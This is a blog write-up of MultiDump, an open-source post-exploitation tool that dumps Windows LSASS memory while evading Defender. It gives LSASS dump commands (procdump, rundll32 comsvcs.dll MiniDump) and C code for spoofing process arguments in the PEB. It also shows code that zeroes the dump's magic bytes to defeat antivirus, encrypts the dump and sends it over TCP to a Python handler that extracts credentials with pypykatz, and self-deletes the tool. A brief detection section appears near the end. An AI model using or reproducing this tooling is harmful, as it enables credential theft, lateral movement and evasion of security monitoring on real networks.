2 Feb, 2024 (Last updated: 26 Feb, 2024 )
15 minutes
MultiDump
MultiDump is a post-exploitation tool written in C for dumping and extracting LSASS memory discreetly, without triggering Defender alerts, with a handler written in Python.
GitHub repository: https://github.com/Xre0uS/MultiDump
What is LSASS?
Local Security Authority Subsystem Service (LSASS) is an important component in the Windows operating system, with the primary function to enforce the security policy on the system. LSASS manages user authentication processes. When a user logs into a Windows machine, LSASS is responsible for handling the password verification. To facilitate this, it stores hashed versions of user passwords, providing a layer of security against password theft. It also handles domain authentication, maintain security tokens and manage domain credentials. Another key aspect of LSASS is its management of Kerberos tickets. Kerberos, an authentication protocol, is employed by Windows for network authentication in Active Directory. LSASS stores and manages these Kerberos tickets, which are used to establish secure communication and authentication across a network.
Due to its central role in security-related functions, LSASS becomes a prime target for attackers. Gaining access to LSASS potentially allows an attacker to retrieve sensitive information like hashed passwords, domain credentials, and Kerberos tickets. This information can be exploited to escalate privileges, move laterally within a network, or maintain persistence in a compromised system.
Dumping LSASS memory is a widely known and used technique, with the MITRE ATT&CK ID of T1003.001, one of the most well-known example being Mimikatz and its sekurlsa::logonPasswords
method, which effectively extracts credentials from LSASS. However, its widespread recognition has led to it becoming easily detectable by most antivirus (AV) solutions. And the techniques are now well-documented and routinely flagged by modern security systems. So why not use legitimate binaries from Microsoft to dump LSASS’ memory? This approach is also known as Living off the Land, enter ProcDump.exe
and Comsvc.dll
.
ProcDump.exe & Comsvc.dll
ProcDump.exe
, a part of the Sysinternals Suite, is a command-line utility designed for monitoring an application and generating crash dumps. However, its functionality can be repurposed to create a dump of the LSASS process without triggering the usual security alerts.
Similarly, Comsvc.dll
, primarily used for system configuration and management tasks, has a minidump
export, which can be executed using rundll32.exe
. Originally designed for legitimate debugging and system analysis purposes, can be repurposed to dump the memory of a process – in this case, LSASS.
Now, these techniques are also nothing new, the classic
procdump.exe -accepteula -ma (Get-Process lsass).id lsass.dmp
or
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump (Get-Process lsass).id lsass.dmp full
will easily get caught by AVs.
However, since they’re legitimate binaries, with comsvcs.dll
being present in Windows by default, their presence would not usually raise alarms. It’s the combination of using those binaries on LSASS in a command that that gets detected. So how can we get past it?
Process Argument Spoofing
The The Process Environment Block (PEB) structure holds information about a process, and inside the PEB structure, the PRTL_USER_PROCESS_PARAMETERS
structure
typedef struct _RTL_USER_PROCESS_PARAMETERS {
BYTE Reserved1[16];
PVOID Reserved2[10];
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
contains the CommandLine
member which holds the command line arguments. CommandLine
is defined as a UNICODE_STRING:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
So, to modify a process’ command line arguments in memory, we will need to start the process in a suspended state, and modify the Buffer
element, using
PEB->ProcessParameters.CommandLine.Buffer
as a wide-character string.
Constructing the Real Command
Before the process can be created, we must first get the command to dump LSASS. MultiDump has two techniques to dump LSASS, using ProcDump.exe
or Comsvc.dll
, as introduced earlier, and the commands used will be similar. For the static part of the command, it is encrypted using RC4, and decrypted using the undocumented Windows NTAPI SystemFunction032
function. The location of files written to disk can be user defined, or by default, in the temp directory with a randomly generated name.
We will also need the PID of LSASS for the command, this is done using NtQuerySystemInformation
, it returns ImageName
which contains the process name and UniqueProcessId
which is the process ID. To use the function, we’ll need to get its address, since it is exported from the ntdll.dll
module, it will require the use of GetModuleHandle
and GetProcAddress
. We then need to iterate through the returned processes, and compare the ImageName
to the target process, in this case, lsass.exe
:
BOOL GetRemoteProcessInfo(LPCWSTR szProcName, DWORD* pdwPid, HANDLE* phProcess) {
fnNtQuerySystemInformation pNtQuerySystemInformation = NULL;
ULONG uReturnLen1 = NULL,
uReturnLen2 = NULL;
PSYSTEM_PROCESS_INFORMATION SystemProcInfo = NULL,
pOriginalSystemProcInfo = NULL;
PSYSTEM_THREAD_INFORMATION SystemThreadInfo = NULL;
PVOID pValueToFree = NULL;
NTSTATUS STATUS = NULL;
*threadCount = 0;
pNtQuerySystemInformation = (fnNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtQuerySystemInformation");
if (pNtQuerySystemInformation == NULL) {
return FALSE;
}
pNtQuerySystemInformation(SystemProcessInformation, NULL, NULL, &uReturnLen1);
SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)uReturnLen1);
if (SystemProcInfo == NULL) {
return FALSE;
}
pValueToFree = SystemProcInfo;
STATUS = pNtQuerySystemInformation(SystemProcessInformation, SystemProcInfo, uReturnLen1, &uReturnLen2);
if (STATUS != 0x0) {
HeapFree(GetProcessHeap(), 0, pValueToFree);
return FALSE;
}
while (TRUE) {
// Comparing the enumerated process name to the intended target process
if (SystemProcInfo->ImageName.Length && wcscmp(SystemProcInfo->ImageName.Buffer, szProcName) == 0) {
*pdwPid = (DWORD)SystemProcInfo->UniqueProcessId;
if (phProcess != NULL) { // Only open a handle if phProcess is not NULL
*phProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)SystemProcInfo->UniqueProcessId);
}
break;
}
if (!SystemProcInfo->NextEntryOffset) {
break;
}
SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)SystemProcInfo + SystemProcInfo->NextEntryOffset);
}
HeapFree(GetProcessHeap(), 0, pValueToFree);
if (*pdwPid == NULL)
return FALSE;
else
return TRUE;
}
We need to be careful not to open a handle to the process, since opening a handle to LSASS is highly suspicious (also done by Mimikatz), and an easy way to get caught.
Now, we have all the information we need to construct the command to dump LSASS.
Modifying CommandLine.Buffer
To start, we need to create a suspended process, and passing a dummy arguments to the process, this dummy arguments can be anything, such as a legitimate looking command to throw off analysers. The process is created using CreateProcessW
with the CREATE_SUSPENDED
flag:
CreateProcessW(
NULL,
szProcess,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED | CREATE_NO_WINDOW,
NULL,
currentDir,
&Si,
&Pi
)
After the process is created, we will need to get the PEB address, this can be done using NtQueryInformationProcess
as mentioned earlier, with the PROCESS_BASIC_INFORMATION
, which will return a PROCESS_BASIC_INFORMATION
structure, containing the PebBaseAddress
member:
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PPEB PebBaseAddress;
ULONG_PTR AffinityMask;
KPRIORITY BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;
With the address, we can use the ReadProcessMemory
function to read the data, the function will need to be called twice, first to read the PEB structure, and the second to read the RTL_USER_PROCESS_PARAMETERS
structure, which contains the CommandLine
member.
BOOL ReadFromTargetProcess(IN HANDLE hProcess, IN PVOID pAddress, OUT PVOID* ppReadBuffer, IN DWORD dwBufferSize) {
SIZE_T sNmbrOfBytesRead = NULL;
*ppReadBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBufferSize);
if (!ReadProcessMemory(hProcess, pAddress, *ppReadBuffer, dwBufferSize, &sNmbrOfBytesRead) || sNmbrOfBytesRead != dwBufferSize) {
return FALSE;
}
return TRUE;
}
ReadFromTargetProcess(Pi.hProcess, PBI.PebBaseAddress, &pPeb, sizeof(PEB))
ReadFromTargetProcess(Pi.hProcess, pPeb->ProcessParameters, &pParms, sizeof(RTL_USER_PROCESS_PARAMETERS) + 0x200)
At this point, the process is still carrying the dummy arguments:
Note that the path to the executable have to be the same, since it is used by the Windows loader to create the process, and modifying it will affect the memory layout, module loading, and entry point.
Now that we have read the structure, we can access and patch CommandLine.Buffer
by using the WriteProcessMemory
function which require these parameters:
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
lpBaseAddress
will be set to what is being written: CommandLine.Buffer
, and lpBuffer
will be a pointer to the real arguments we want to write. The nSize
parameter is the size of the buffer to write in bytes, equal to the length of the string that’s being written multiplied by the size of WCHAR
plus 1 for the null character:
WriteToTargetProcess(Pi.hProcess, (PVOID)pParms->CommandLine.Buffer, (PVOID)szRealArgs, (DWORD)(lstrlenW(szRealArgs) * sizeof(WCHAR) + 1))
BOOL WriteToTargetProcess(IN HANDLE hProcess, IN PVOID pAddressToWriteTo, IN PVOID pBuffer, IN DWORD dwBufferSize) {
SIZE_T sNmbrOfBytesWritten = NULL;
if (!WriteProcessMemory(hProcess, pAddressToWriteTo, pBuffer, dwBufferSize, &sNmbrOfBytesWritten) || sNmbrOfBytesWritten != dwBufferSize) {
return FALSE;
}
return TRUE;
}
We can see process argument has been updated to the command that will dump LSASS:
However, using Process Explorer, we can still see the real commands:
This is because it also uses NtQueryInformationProcess
to read the command line arguments in the PEB at runtime, and it can see what’s inside CommandLine.Buffer
by reading up until the length specified by CommandLine.Length
. So, to solve this issue, we can update the CommandLine.Length
to the length of the executable path, effectively hiding the remaining commands:
WriteToTargetProcess(Pi.hProcess, ((PBYTE)pPeb->ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length)), (PVOID)&dwNewLen, sizeof(DWORD))
We can see that the LSASS dump command is well hidden in both Process Explorer and Process Hacker:
Now, we can simply resume the process, collect the dump and call it a day.
The Magic Bytes
Not quite. While the command executed without problem and created a dump file, the output file still gets detected by defender. To prevent the dump file from being detected by AVs, simply zero out the first 6 bytes, 4D 44 4D 50 93 A7
, of the file. This action removes the magic bytes, which are typically used by AVs for signature-based detection. By changing these bytes to 00 00 00 00 00 00
, the file’s signature is obscured, making it less likely to trigger antivirus alerts. It is a straightforward workaround to bypass detection mechanisms, focusing on changing identifiable file patterns without affecting the entire file.
To evade antivirus detection, modifying the dump file’s magic bytes to zeros immediately after creation is important. This makes the file type difficult to recognise right away, which significantly reduces detection risks.
The operation’s success depends on its speed: modifying the first 6 bytes must be done quickly, before the AV scans the file. Since the modification is both simple and targeted, it can be executed almost instantaneously. We also have the advantage of knowing exactly when and where the file would be created, which helps to beat AVs to the punch. This method ensures the program stays ahead of antivirus scanning, utilising a quick, preemptive modification to avoid detection.
BOOL ZeroOutBytes(const char* filePath, size_t numberOfBytes) {
HANDLE hFile = CreateFileA(
filePath,
GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return FALSE;
}
char* zeroBuffer = (char*)malloc(numberOfBytes);
if (zeroBuffer == NULL) {
CloseHandle(hFile);
return FALSE;
}
ZeroMemory(zeroBuffer, numberOfBytes);
DWORD bytesWritten;
if (!WriteFile(hFile, zeroBuffer, (DWORD)numberOfBytes, &bytesWritten, NULL)) {
CloseHandle(hFile);
return FALSE;
}
CloseHandle(hFile);
return TRUE;
}
for (retryCount = 0; retryCount < 100000; retryCount++) {
if (ZeroOutBytes(args.tempDmpPath, 6)) {
break;
}
}
Other methods like ReadDirectoryChanges
were tested but were found to be too slow. And even adding a Sleep(1)
will increase detection rates and cause failures, making simplicity the best approach.
Some statistics against different system types:
- 1000-2000 attempts for dump files of ~50MB on SSD
- 5000-10000 attempts for dump files of ~150MB on SSD
- 20000-50000 attempts for dump files of ~200MB on HDD
Given these statistics, a limit of 100000 tries is set to prevent the loop from consuming excessive CPU resources indefinitely. If the target file is still not found after reaching this threshold, it’s likely either flagged by security measures or wasn’t generated at all. The loop is designed to terminate after roughly one second to maintain system performance.
If the dump is successful and the magic bytes are zeroed, the file is loaded into memory, a unique 64-byte key is generated for encrypting the data. The encryption employs the RC4 algorithm via the SystemFunction032
function mentioned earlier. After encryption, the original dump file is deleted to cover the our tracks.
If MultiDump is running in local mode, the encrypted dump file is written to the disk and the key is printed on screen.
The Handler & Remote Mode
MultiDump also supports exfiltrating the data over the network, with a handler to receive and decrypt the data. Similarly, the handler can also be used to decrypt the local dump file.
Two separate TCP streams are initiated, first to deliver the key, second to deliver the dump data.
To protect the key in transport over the network, it is also encrypted, this time with the integer representation of the handler’s IP and port:
BOOL ParseIPAndPort(const char* address, char* ip, int* port, unsigned __int64* combinedKey) {
char* tempAddress = _strdup(address);
if (!tempAddress) {
return FALSE;
}
char* colon = strchr(tempAddress, ':');
if (colon) {
*colon = '\0';
strncpy(ip, tempAddress, 15);
ip[15] = '\0';
*port = atoi(colon + 1);
struct in_addr addr;
if (InetPtonA(AF_INET, ip, &addr) == 1) {
unsigned long ipNumeric = ntohl(addr.S_un.S_addr);
*combinedKey = ((unsigned __int64)ipNumeric << 16) | (*port);
}
else {
free(tempAddress);
return FALSE;
}
}
else {
free(tempAddress);
return FALSE;
}
free(tempAddress);
return TRUE;
}
The handler receives the key, and decrypt it using the detected IP, or it can be manually configured if the connection is over a proxy. The first connection has a limit of 1 KB to prevent unwanted connections, and the handler checks if the key is exactly 64 bytes.
def generate_key(ip, port):
ip_numeric = struct.unpack("!L", socket.inet_aton(ip))[0]
key = (ip_numeric << 16) | int(port)
key_bytes = key.to_bytes(8, "little")
return key_bytes
enc_dump_key, local_ip, key_bytes_received = start_server(
args.remote, "encrypted key", 1
)
if len(enc_dump_key) != 64:
print(f"[!] Key size mismatch!")
return
If the key passes the check, the second connection is accepted with a limit of 500MB. The handler decrypts the data with the previously decrypted key. Due to RC4’s straightforward implementation in Python, this decryption process may take additional time. Following decryption, the handler verifies that the magic bytes are all zeros to confirm successful decryption, then restores the original magic bytes. Finally, the data is passed to Pypykatz to be parsed. This process is similar for a local file.
def mod_magic_bytes(data):
if data[:6] == b"\x00\x00\x00\x00\x00\x00":
replacement_bytes = bytes.fromhex("4D 44 4D 50 93 A7")
modified_data = replacement_bytes + data[6:]
return modified_data
else:
raise Exception()
pypy_parse = pypykatz.parse_minidump_bytes(dump)
If all goes well, the LSASS data will appear on the screen, with the option to save it.
Other Evasion Techniques
MultiDump employs a number of other techniques for better evasion.
As mentioned previously, to evade string analysis, the static strings to dump LSASS are encrypted using RC4 is only decrypted when needed.
Most of the output messages can be excluded from being compiled by commenting the following line in Debug.h
:
//#define DEBUG
It can also be configured for self-deletion by uncommenting the following line in Common.h
:
#define SELF_DELETION
To do this, MultiDump takes advantage of NTFS alternate data streams, it first get a handle on the file itself, rename the default :$DATA
stream using the SetFileInformationByHandle
function. The function requires the following parameters:
BOOL SetFileInformationByHandle(
[in] HANDLE hFile,
[in] FILE_INFO_BY_HANDLE_CLASS FileInformationClass,
[in] LPVOID lpFileInformation,
[in] DWORD dwBufferSize
);
We will need to set the FileInformationClass
value toFileRenameInfo
and the lpFileInformation
should be a pointer to the following FILE_RENAME_INFO
structure:
typedef struct _FILE_RENAME_INFO {
union {
BOOLEAN ReplaceIfExists;
DWORD Flags;
} DUMMYUNIONNAME;
BOOLEAN ReplaceIfExists;
HANDLE RootDirectory;
DWORD FileNameLength;
WCHAR FileName[1];
} FILE_RENAME_INFO, *PFILE_RENAME_INFO;
According to Microsoft, the FileName
member is:
A NUL-terminated wide-character string containing the new path to the file. The value can be one of the following:
- An absolute path (drive, directory, and filename).
- A path relative to the process’s current directory.
- The new name of an NTFS file stream, starting with
:
.
MultiDump sets the alternate stream to :ALT
by default, as defined in Common.h
.
Finally, after the data stream has been renamed, the original :$DATA
stream can be deleted. The SetFileInformationByHandle
is used again, this time, setting the FileInformationClass
value to FileDispositionInfo
, the lpFileInformation
should be a pointer to the following FILE_DISPOSITION_INFO
structure:
typedef struct _FILE_DISPOSITION_INFO {
BOOLEAN DeleteFile;
} FILE_DISPOSITION_INFO, *PFILE_DISPOSITION_INFO;
By setting DeleteFile
to TRUE
, the file can be deleted.
Defending and Detecting
As the command line is modified by directly changing the PEB structure in memory, it can be quite difficult to detect it on startup. However, the biggest weakness of this technique is that a .dmp
file will be written to disk, even though it is quickly read and deleted, it is possible to pause the execution to analyse the output.
While ProcDump.exe
and rundll32.exe
are legitimate binaries, an unknown program creating a child process to execute them is highly suspicious, and it should be placed under extra monitoring.
Additionally, outbound connections from such a program could further raise suspicions.
Together, these indicators - temporary file creation, unusual binary usage, and network traffic, should be cause for concern and suggest the need for increased monitoring.
Updates
I have added an option for MultiDump to dump SAM
, SECURITY
and SYSTEM
hives, since Defender does not care if the hives were dumped, so this is more of a convenience feature to make post exploit information gathering easier.
For a follow up investigation that led to a fix against Windows Defender, check out this blog post.
As of 26th February, MultiDump compiled with the default options is detected by Defender (finally), expected since it’s released as an open source project, still took a while though. It even got its own name, I take this as a win.
My own version of MultiDump is not detected and works fine, so I have reasons to believe that it’s a basic signature detection and techniques used still works.
Testing Against Other AVs
Credits:
- Some techniques used learnt from MalDev Academy, it is an awesome course, highly recommended
- Inspired by proc_noprocdump
- Code to further process LSASS dump from lsassy
- Testing and suggestions from ballro
- Testing and suggestions from DisplayGFX, nthdeg and silentbee